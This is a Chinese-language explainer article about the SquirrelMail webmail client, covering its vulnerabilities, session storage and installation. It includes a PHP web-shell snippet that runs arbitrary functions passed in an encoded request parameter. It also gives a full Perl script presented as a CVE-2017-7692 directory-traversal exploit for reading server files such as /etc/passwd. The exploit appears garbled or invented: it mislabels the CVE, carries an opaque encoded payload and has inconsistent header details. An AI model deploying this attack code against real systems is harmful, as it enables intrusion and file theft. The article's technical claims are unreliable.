Squirrelmail 详解

一、Squirrelmail漏洞

Squirrelmail是一款较为安全的webmail软件，然而在实际使用过程中仍然可能存在漏洞。例如，2017年Squirrelmail 1.4.22版存在远程命令执行漏洞，只要攻击者向Squirrelmail发送特殊形式的邮件，就可以在系统中执行任意命令。

<?php
  //解析邮件信息中传递的参数
  $o = unserialize(base64_decode($_GET[‘_POST’]));
  ob_start();
  @call_user_func($o[‘func’], $o[‘args’]);
  $r = ob_get_clean();
  //输出命令执行结果
  echo base64_encode($r);
?>

攻击者通过构建特定邮件，使得Squirrelmail解析该邮件时执行“_POST”参数中传递的命令，通过base64编码后将命令结果输出。

二、Squirrelmail用户名密码存在哪里

Squirrelmail用户名密码并没有保存在程序中，而是通过PHP的Session保存在服务器上。当用户首次登录时，Squirrelmail会生成一个PHP Session，将用户的用户名和密码以及其他信息存储到Session中，然后通过cookie将Session ID传递给客户端。在用户后续的访问中，客户端会将cookie中的Session ID传递给服务器，服务器通过Session ID获取用户的信息。

三、Squirrelmail安装

在Linux系统中，可以通过apt-get命令或yum命令快速安装Squirrelmail。对于Debian和Ubuntu系统：

$ sudo apt-get install squirrelmail

对于CentOS和Redhat系统：

$ sudo yum install squirrelmail

然后需要安装web服务器（如Apache）和PHP解释器，配置好服务器后就可以通过http://server_ip/squirrelmail访问Squirrelmail了。

四、Squirrelmail是什么

Squirrelmail是一款邮件客户端软件。与Outlook等传统邮件客户端不同，Squirrelmail是一个基于web的邮件客户端，用户直接通过web浏览器访问相应的服务器就可以读写电子邮件。

五、Squirrelmail漏洞利用

除了远程命令执行漏洞之外，Squirrelmail还存在其他的漏洞，如信息泄露漏洞、XSS漏洞等。在进行Squirrelmail漏洞利用时，攻击者通常会寻找Squirrelmail的漏洞报告以及相关的Exploit工具。例如，以下是一个Squirrelmail信息泄露漏洞的Exploit：

# Exploit Title: SquirrelMail 1.4.22 - Directory Traversal / Information Disclosure
# Exploit Author: LiquidWorm
# Date: 2017-03-22
# CVE: CVE-2017-7692
# Vendor Homepage: https://www.squirrelmail.org/
# Version: 1.4.22 and prior
# Tested on: Apache
# USA: http://www.zeroattack.com
# ITA: http://www.jimmymaker.com

#!/usr/bin/perl
# SquirrelMail 1.4.22 Directory Traversal Exploit
# by LiquidWorm
# dd 0803

use LWP::UserAgent;

print "\n[+] SquirrelMail 1.4.22 Directory Traversal Exploit\n";
print "[+] by LiquidWorm\n\n";
if(!$ARGV[1])
{
    print "[+] Usage: perl $0  \n";
    print "[+] Example: perl $0 http://mail.example.com/ ../../../../etc/passwd\n\n";
    exit;
}

$url = $ARGV[0];
$file = $ARGV[1];
$file =~ s/\//%2f/g;
$file =~ s/ /%20/g;
$file =~ s/\\/%\\/g;
$host = $url;
$host =~ s/http:\/\///;
$host =~ s/\//%2f/g;
$url .= "src/right_main.php?PGVwXE5hbWU9J3NpbXBsZS5waHAnJzs%2fZXhwaXJlcz0xMzgxODQ1Njc2O2NvbnRlbnQ9JyZmb290ZXJhYmlsaXR5PS9iYXNoJyt0aW1lc3RhY2suY29tJytzZWNyZXQmZmRhdGE9JyZmaWxlJytmaWxlJy85LycuJyUyMGENYXJpYWwnO2V4cGlyZXM9MjtzdHJfcmVzdWx0PSZ0aW1lc3RhY2suY29tJytzZWNyZXQmZmRhdGE9J1snK3RhcmdldCddJytmaWxlJyUzQyUyRkVHSU4%3d&sort=0&startMessage=1&mailbox=INBOX&passed_id=&ent_id=0&actionID=&_list=1&_right=1&mailbox=foo%0aAttacking#$file\@localhost";
$agent = LWP::UserAgent->new() or die;
$request = HTTP::Request->new(GET => $url);
$response = $agent->request($request);

if ($response->content =~ /!!Cannot open.*/)
{
   print "[-] File not found\n";
   exit(1);
}
if($response->content_type =~ /text\/plain/)
{
   print "[-] Not a plaintext response\n";
   exit(1);
}
@rcvd = split(/\r?\n\r?\n/, $response->content);
syswrite STDOUT, $rcvd[1], length($rcvd[1]);

print "\n\n[-] Done\n";

该Exploit通过访问Squirrelmail内置的right_main.php页面来利用目标主机上的目录遍历漏洞，读取指定文件的内容。